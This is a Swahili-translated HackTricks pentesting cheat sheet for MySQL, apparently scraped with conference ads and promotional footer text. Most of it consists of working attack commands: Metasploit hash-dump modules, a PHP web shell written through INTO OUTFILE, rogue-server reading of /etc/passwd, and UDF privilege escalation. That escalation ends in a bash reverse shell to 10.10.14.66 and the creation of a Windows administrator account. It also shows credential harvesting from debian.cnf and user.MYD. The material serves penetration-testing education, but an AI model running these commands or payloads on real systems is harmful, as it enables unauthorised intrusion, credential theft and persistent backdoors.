3306 - Pentesting Mysql

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RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa malengo ya kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.

RootedCONRootedCON

Taarifa Msingi

MySQL inaweza kuelezwa kama Mfumo wa Usimamizi wa Takwimu wa Uhusiano (RDBMS) wa chanzo wazi ambao upatikana bila malipo. Inafanya kazi kwenye Lugha ya Utafutaji Iliyopangwa (SQL), ikiruhusu usimamizi na upangaji wa maktaba za takwimu.

Bandari ya chaguo: 3306

3306/tcp open  mysql

Kuunganisha

Mitaani

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Kijijini

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

Uchambuzi wa Kina

Baadhi ya hatua za uchambuzi zinahitaji sifa halali

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Kujaribu nguvu

Andika data yoyote ya binary

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

Amri za MySQL

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

Uchambuzi wa Ruhusa za MySQL

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

Unaweza kuona katika nyaraka maana ya kila ruhusa: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

pageMySQL File priv to SSRF/RCE

MySQL kusoma faili yoyote kwa njia ya mteja

Kwa kweli, unapojaribu kupakia data za ndani kwenye meza maudhui ya faili kwenye seva ya MySQL au MariaDB inamuuliza mteja asome na kutuma maudhui. Kisha, ikiwa unaweza kuhariri mteja wa mysql kuunganisha kwenye seva yako ya MySQL, unaweza kusoma faili yoyote. Tafadhali kumbuka kuwa hii ndio tabia inayotumika:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Kumbuka neno "local") Kwa sababu bila "local" unaweza kupata:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Uchunguzi wa Awali: https://github.com/allyshka/Rogue-MySql-Server Katika makala hii unaweza kuona maelezo kamili ya shambulio na hata jinsi ya kuongeza hadi RCE: https://paper.seebug.org/1113/ Hapa unaweza kupata muhtasari wa shambulio: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

​

​​RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa ** lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa mkutano wa joto kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.

RootedCONRootedCON

POST

Mtumiaji wa Mysql

Itakuwa ya kuvutia sana ikiwa mysql inaendeshwa kama root:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Mipangilio Hatari ya mysqld.cnf

Katika usanidi wa huduma za MySQL, mipangilio mbalimbali hutumiwa kufafanua uendeshaji wake na hatua za usalama:

• Mipangilio ya user hutumiwa kuteua mtumiaji ambaye huduma ya MySQL itatekelezwa chini yake.

• password hutumika kuweka nenosiri linalohusishwa na mtumiaji wa MySQL.

• admin_address inabainisha anwani ya IP inayosikiliza kwa ajili ya mawasiliano ya TCP/IP kwenye interface ya mtandao wa utawala.

• Kipengele cha debug kinaonyesha mipangilio ya sasa ya upelelezi, ikiwa ni pamoja na taarifa nyeti ndani ya magogo.

• sql_warnings inasimamia ikiwa vifungu vya taarifa vinazalishwa kwa taarifa za kuingiza safu moja wakati onyo linatokea, likiwa na data nyeti ndani ya magogo.

• Kwa secure_file_priv, wigo wa uingizaji na kuuza data unazuiliwa ili kuboresha usalama.

Kupandisha Hadhi ya Mamlaka

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Kupanda Mamlaka kupitia maktaba

Ikiwa seva ya mysql inaendeshwa kama root (au mtumiaji mwingine aliye na mamlaka zaidi) unaweza kufanya iendekeze amri. Kwa hili, unahitaji kutumia kazi zilizoundwa na mtumiaji. Na ili kuunda kazi iliyoundwa na mtumiaji utahitaji maktaba kwa OS inayoendesha mysql.

Maktaba mbaya ya kutumia inaweza kupatikana ndani ya sqlmap na ndani ya metasploit kwa kufanya locate "*lib_mysqludf_sys*". Faili za .so ni maktaba za linux na .dll ni zile za Windows, chagua ile unayohitaji.

Ikiwa huna maktaba hizo, unaweza kuzitafuta, au pakua hii msimbo wa C wa linux na kuutengeneza ndani ya mashine ya linux yenye kasoro.

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Sasa kwamba una maktaba, ingia ndani ya Mysql kama mtumiaji aliye na mamlaka (root?) na fuata hatua zifuatazo:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Kupata siri za MySQL kutoka kwenye faili

Ndani ya /etc/mysql/debian.cnf unaweza kupata nywila ya maandishi ya wazi ya mtumiaji debian-sys-maint

cat /etc/mysql/debian.cnf

Unaweza kutumia sifa hizi kuingia kwenye database ya mysql.

Ndani ya faili: /var/lib/mysql/mysql/user.MYD unaweza kupata mishale yote ya watumiaji wa MySQL (zile unazoweza kuchimba kutoka mysql.user ndani ya database).

Unaweza kuzichimba kwa kufanya:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Kuwezesha kuingiza kumbukumbu

Unaweza kuwezesha kuingiza kumbukumbu za maswali ya mysql ndani ya /etc/mysql/my.cnf kwa kutoa maoni kwenye mistari ifuatayo:

Faili za Kufaa

Faili za Mipangilio

• windows *

• config.ini

• my.ini

• windows\my.ini

• winnt\my.ini

• <InstDir>/mysql/data/

• unix

• my.cnf

• /etc/my.cnf

• /etc/mysql/my.cnf

• /var/lib/mysql/my.cnf

• ~/.my.cnf

• /etc/my.cnf

• Historia ya Amri

• ~/.mysql.history

• Faili za Kuingiza

• connections.log

• update.log

• common.log

Msingi wa Takwimu/Meza za Msingi za MySQL

information_schema

ALL_PLUGINS APPLICABLE_ROLES CHARACTER_SETS CHECK_CONSTRAINTS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES ENABLED_ROLES ENGINES EVENTS FILES GLOBAL_STATUS GLOBAL_VARIABLES KEY_COLUMN_USAGE KEY_CACHES OPTIMIZER_TRACE PARAMETERS PARTITIONS PLUGINS PROCESSLIST PROFILING REFERENTIAL_CONSTRAINTS ROUTINES SCHEMATA SCHEMA_PRIVILEGES SESSION_STATUS SESSION_VARIABLES STATISTICS SYSTEM_VARIABLES TABLES TABLESPACES TABLE_CONSTRAINTS TABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES VIEWS INNODB_LOCKS INNODB_TRX INNODB_SYS_DATAFILES INNODB_FT_CONFIG INNODB_SYS_VIRTUAL INNODB_CMP INNODB_FT_BEING_DELETED INNODB_CMP_RESET INNODB_CMP_PER_INDEX INNODB_CMPMEM_RESET INNODB_FT_DELETED INNODB_BUFFER_PAGE_LRU INNODB_LOCK_WAITS INNODB_TEMP_TABLE_INFO INNODB_SYS_INDEXES INNODB_SYS_TABLES INNODB_SYS_FIELDS INNODB_CMP_PER_INDEX_RESET INNODB_BUFFER_PAGE INNODB_FT_DEFAULT_STOPWORD INNODB_FT_INDEX_TABLE INNODB_FT_INDEX_CACHE INNODB_SYS_TABLESPACES INNODB_METRICS INNODB_SYS_FOREIGN_COLS INNODB_CMPMEM INNODB_BUFFER_POOL_STATS INNODB_SYS_COLUMNS INNODB_SYS_FOREIGN INNODB_SYS_TABLESTATS GEOMETRY_COLUMNS SPATIAL_REF_SYS CLIENT_STATISTICS INDEX_STATISTICS USER_STATISTICS INNODB_MUTEXES TABLE_STATISTICS INNODB_TABLESPACES_ENCRYPTION user_variables INNODB_TABLESPACES_SCRUBBING INNODB_SYS_SEMAPHORE_WAITS

mysql

columns_priv column_stats db engine_cost event func general_log gtid_executed gtid_slave_pos help_category help_keyword help_relation help_topic host index_stats innodb_index_stats innodb_table_stats ndb_binlog_index plugin proc procs_priv proxies_priv roles_mapping server_cost servers slave_master_info slave_relay_log_info slave_worker_info slow_log tables_priv table_stats time_zone time_zone_leap_second time_zone_name time_zone_transition time_zone_transition_type transaction_registry user

performance_schema

accounts cond_instances events_stages_current events_stages_history events_stages_history_long events_stages_summary_by_account_by_event_name events_stages_summary_by_host_by_event_name events_stages_summary_by_thread_by_event_name events_stages_summary_by_user_by_event_name events_stages_summary_global_by_event_name events_statements_current events_statements_history events_statements_history_long events_statements_summary_by_account_by_event_name events_statements_summary_by_digest events_statements_summary_by_host_by_event_name events_statements_summary_by_program events_statements_summary_by_thread_by_event_name events_statements_summary_by_user_by_event_name events_statements_summary_global_by_event_name events_transactions_current events_transactions_history events_transactions_history_long events_transactions_summary_by_account_by_event_name events_transactions_summary_by_host_by_event_name events_transactions_summary_by_thread_by_event_name events_transactions_summary_by_user_by_event_name events_transactions_summary_global_by_event_name events_waits_current events_waits_history events_waits_history_long events_waits_summary_by_account_by_event_name events_waits_summary_by_host_by_event_name events_waits_summary_by_instance events_waits_summary_by_thread_by_event_name events_waits_summary_by_user_by_event_name events_waits_summary_global_by_event_name file_instances file_summary_by_event_name file_summary_by_instance global_status global_variables host_cache hosts memory_summary_by_account_by_event_name memory_summary_by_host_by_event_name memory_summary_by_thread_by_event_name memory_summary_by_user_by_event_name memory_summary_global_by_event_name metadata_locks mutex_instances objects_summary_global_by_type performance_timers prepared_statements_instances replication_applier_configuration replication_applier_status replication_applier_status_by_coordinator replication_applier_status_by_worker replication_connection_configuration replication_connection_status replication_group_member_stats replication_group_members rwlock_instances session_account_connect_attrs session_connect_attrs session_status session_variables setup_actors setup_consumers setup_instruments setup_objects setup_timers socket_instances socket_summary_by_event_name socket_summary_by_instance status_by_account status_by_host status_by_thread status_by_user table_handles table_io_waits_summary_by_index_usage table_io_waits_summary_by_table table_lock_waits_summary_by_table threads user_variables_by_thread users variables_by_thread

sys

host_summary host_summary_by_file_io host_summary_by_file_io_type host_summary_by_stages host_summary_by_statement_latency host_summary_by_statement_type innodb_buffer_stats_by_schema innodb_buffer_stats_by_table innodb_lock_waits io_by_thread_by_latency io_global_by_file_by_bytes io_global_by_file_by_latency io_global_by_wait_by_bytes io_global_by_wait_by_latency latest_file_io memory_by_host_by_current_bytes memory_by_thread_by_current_bytes memory_by_user_by_current_bytes memory_global_by_current_bytes memory_global_total metrics processlist ps_check_lost_instrumentation schema_auto_increment_columns schema_index_statistics schema_object_overview schema_redundant_indexes schema_table_lock_waits\

schema_table_statistics\
schema_table_statistics_with_buffer\
schema_tables_with_full_table_scans\
schema_unused_indexes\
session\
session_ssl_status\
statement_analysis\
statements_with_errors_or_warnings\
statements_with_full_table_scans\
statements_with_runtimes_in_95th_percentile\
statements_with_sorting\
statements_with_temp_tables\
sys_config\
user_summary\
user_summary_by_file_io\
user_summary_by_file_io_type\
user_summary_by_stages\
user_summary_by_statement_latency\
user_summary_by_statement_type\
version\
wait_classes_global_by_avg_latency\
wait_classes_global_by_latency\
waits_by_host_by_latency\
waits_by_user_by_latency\
waits_global_by_latency\
x$host_summary\
x$host_summary_by_file_io\
x$host_summary_by_file_io_type\
x$host_summary_by_stages\
x$host_summary_by_statement_latency\
x$host_summary_by_statement_type\
x$innodb_buffer_stats_by_schema\
x$innodb_buffer_stats_by_table\
x$innodb_lock_waits\
x$io_by_thread_by_latency\
x$io_global_by_file_by_bytes\
x$io_global_by_file_by_latency\
x$io_global_by_wait_by_bytes\
x$io_global_by_wait_by_latency\
x$latest_file_io\
x$memory_by_host_by_current_bytes\
x$memory_by_thread_by_current_bytes\
x$memory_by_user_by_current_bytes\
x$memory_global_by_current_bytes\
x$memory_global_total\
x$processlist\
x$ps_digest_95th_percentile_by_avg_us\
x$ps_digest_avg_latency_distribution\
x$ps_schema_table_statistics_io\
x$schema_flattened_keys\
x$schema_index_statistics\
x$schema_table_lock_waits\
x$schema_table_statistics\
x$schema_table_statistics_with_buffer\
x$schema_tables_with_full_table_scans\
x$session\
x$statement_analysis\
x$statements_with_errors_or_warnings\
x$statements_with_full_table_scans\
x$statements_with_runtimes_in_95th_percentile\
x$statements_with_sorting\
x$statements_with_temp_tables\
x$user_summary\
x$user_summary_by_file_io\
x$user_summary_by_file_io_type\
x$user_summary_by_stages\
x$user_summary_by_statement_latency\
x$user_summary_by_statement_type\
x$wait_classes_global_by_avg_latency\
x$wait_classes_global_by_latency\
x$waits_by_host_by_latency\
x$waits_by_user_by_latency\
x$waits_global_by_latency

</div>

</div>

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

​

RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Na malengo ya kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.

RootedCONRootedCON

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!

• Pata bidhaa rasmi za PEASS & HackTricks

• Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee

• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.

• Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.